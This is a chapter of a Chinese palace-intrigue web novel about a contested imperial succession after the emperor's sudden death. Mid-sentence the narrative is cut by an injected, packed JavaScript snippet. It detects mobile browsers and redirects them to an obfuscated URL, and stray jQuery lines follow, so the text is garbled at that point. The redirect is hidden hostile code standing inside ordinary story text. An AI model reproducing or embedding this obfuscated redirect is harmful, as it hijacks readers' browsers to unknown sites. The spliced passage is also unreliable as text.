皇城最高的塔楼。
迟三和罗同并肩立于檐顶，俯视着脚下那片金瓦朱墙的庞大宫城。
因皇帝骤然宾天，往日肃穆的宫殿间，灯笼的光点游移，可见无数细小的人影穿梭于廊庑宫道。
迟三看了一会儿，视线便移开，落在了罗同的侧脸上。
那张脸他看了多年，今日却觉得有些不同。
罗同转过头：“你看什么？”
“我在想，今日是不是能见到你的真容了。我从前怎么没想到呢，你娘当年风华绝代，而你又精擅易容之道。这张寻常的脸，反倒最不寻常。”
罗同没有否认，却道：“一副皮相，值得这般在意么？有的人生了张颠倒众生的脸，心却毒。也有人，相貌平平，却活得顶天立地，让人忍不住把一辈子都押上去。”
迟三低笑一声：“你这话意有所指，前头那个，想必是你那位公主姐姐了，后面那个呢？”
罗同不说话了。
不知过了多久，城西方向骤然响起马蹄声，一列火把的光焰在奔驰中连成跃动的金线，正朝宫门疾驰而来。
是太子回来了。
塔楼之上，罗同与迟三对视一眼，身形向后撤去，几个起落便隐入下方层叠的殿宇阴影中。他们此刻仍滞留宫禁，乃是因为先前应了燕风所求：护持太子，直至新帝顺利践祚。
只是此时现身，该如何向太子及周遭虎视眈眈的无数眼睛解释身份与来意？
罗同有些发愁，身侧的迟三却忽然袖角一拂。一片稀薄的白色雾气自他袖间漫出，须臾间漫溢开来，若有似无，将他们周遭数尺之地悄然笼住。
雾外，一切皆清晰可见，如常运转。然而雾内，两人身形却已化入朦胧，再无一道目光能穿透这层无形的障蔽。
“谢就不必了。”迟三笑道，“待会儿若动起手来，你多出几分力便行了。”
两人便在这结界的遮蔽下，跟随太子穿行于宫苑之间，最终来到了目的地。
太和殿，先帝遗体存放之处。
尚未踏入殿门，声浪已如潮水般涌来。哭声高低起伏，皇子们跪了满地，更有年幼的茫然四顾，跟着兄长发出一两声含糊呜咽。
后妃们的悲声则更为尖利，头上珠钗斜坠，泪冲花了颊上的脂粉。前朝赶来跪哀的重臣们亦匍匐在地，肩背颤抖，然目光却不时与同僚悄然交错。
可在这片震耳的悲声之下，另一种东西正在悄然蒸腾。
那是权力骤然抽离后留下的躁动。
中宫后位空悬多年，从前地位最为煊赫的周贵妃，自三皇子薨后便如失了根的藤蔓。此刻她跪在众宫妃之中，面色灰败，昔日凌驾六宫的跋扈气焰早已散得无影无踪。
如今上首主位端坐的，是即将晋位太皇太后的当今太后。
太后面上不见悲色，唯有平静。这平静在满殿哀声里显得格格不入，让人心底不免掠过一丝寒凉的慨叹：终究不是亲生母子，连场面上的哀容，也懒得敷衍。
待殿中哭声渐弱，太后视线扫过下方乌压压的人头。
“皇帝走得急，可江山社稷等不得。国不可一日无君，诸卿都是朝廷栋梁，于这嗣统大事，可有建言？”
无人应答，殿内陷入一片微妙的沉寂。
跪在前列的几位内阁元老与勋贵重臣，只将视线若有似无地飘向刚入殿、正与皇子们跪在一处的太子。
而太子垂首，沾满一路风尘的袍角委地，与平日并无什么不同。
就在这片静默里，跪在妃嫔队列后侧的七公主忽然抬起了头。
“皇祖母是伤心糊涂了么？”
少女清凌凌的声音响起：“我朝明明立有太子，名分早定，为何还要‘议’？”
跪在她身旁的周贵妃猛地转过头，眼中骤然迸出怨毒至极的光。她藏在宽大袖摆下的手，狠狠掐进亲生女儿大腿。
七公主浑身一颤，可看也不看母亲一眼，仍旧倔强地昂着头。
上首的太后端坐着，像一尊失了灵的木雕，对少女那石破天惊的一问置若罔闻。
福瑛长公主便是在这时，缓缓站了起来。
“母后，儿臣这里，有皇兄交托的一道密旨。”
一语既出，满殿皆惊。
“皇兄当日叮嘱，此旨关乎国本，非到万不得已之时，不得轻易开启。儿臣彼时愚钝，未能了解圣意。如今想来，皇兄所指的时刻，恐怕便是此刻了。”
话虽委婉，意却昭然。
七公主听得胸中气血翻涌，可腿上传来的疼痛，让她一个字也再吐不出来。
她是可以不管不顾赌一把，但身旁摇摇欲坠的母亲，恐怕再也经不起任何风浪了。
雾气之中，迟三轻轻“啧”了一声：“看来今日这一架，是躲不开了。”
罗同目光紧紧锁在福瑛长公主身上，喉间溢出三
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485604|201982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个字：“再等等。”
上首，太后的听力，此刻仿佛又蓦然恢复了。她掀了掀松弛的眼皮：“瑛儿，这道圣旨，除你之外，可还有旁人能为凭证？”
“有的。”福瑛长公主答得从容，“皇兄将密旨交予儿臣时，锦衣卫指挥使李芳贤李大人，亦在场亲见。”
所有人的目光，瞬间投向同一处。
李芳贤正跪在那里。
这位天子近卫首领，大概是这满殿人中为数不多，真正为君主之死而肝肠寸断的臣子。
此刻被骤然点名，他肩背微微一震，抬起泪迹斑驳的脸，喉头哽咽滚动，才艰难开口。
“回太后……长公主所言……属实。”
他话音落下，殿内响起一片极力压抑的吸气声。
谁都知道李芳贤是先帝头一号的心腹，他说是，那便无人好说不是了。
太后缓缓点了点头：“既然如此。瑛儿，你便拿出来，给诸卿一并看看吧。”
福瑛长公主躬身应是，双手将一卷明黄帛书高举过额。
一名身眉眼低顺的大监碎步上前，恭敬接过，缓步退至殿中灯火最明处。他深深吸了一口气，展开卷轴，尖细的嗓音在寂静中响起：
“朕承天命，御极有年……”
薄雾里，迟三带着玩味的低语，与那庄重的宣读声形成诡异的重叠：“我倒是听过一桩顶有趣的秘闻，说你那位好姐姐福，同咱们刚宾天的陛下……啧，可不止是兄妹情深。私下里，连龙种都结下了。好像就是最小的那位十九皇子，都说眉眼像极了长公主。可惜啊，同姓同族，终究是□□逆种，上不得台面。所以这么多年，也只能藏着掖着，当个没名没分的普通皇子养着。”
殿中央，大太监的声音平稳地流淌：“……夙夜忧勤，唯恐付托不效……”
迟三继续道：“长公主今日这一出，细想也在情理之中。天底下做母亲的，但凡有点指望，谁不想把最好的、留给自己的亲骨肉呢？就是不知道这密旨到底是真是假……”
殿中太监的宣读恰好到了最关键处，声调略略扬起，清晰地凿进每个人耳朵里。
“……皇太子朱见垠，仁孝天植，睿智夙成，宜承大统。内外文武臣僚，当同心辅佐，共保宗社。长妹福瑛，性淑品端，堪为臂助，可多与参详，以固国本……”
最后一个字音落下，寂静重新合拢。但所有人心中，已是惊涛骇浪。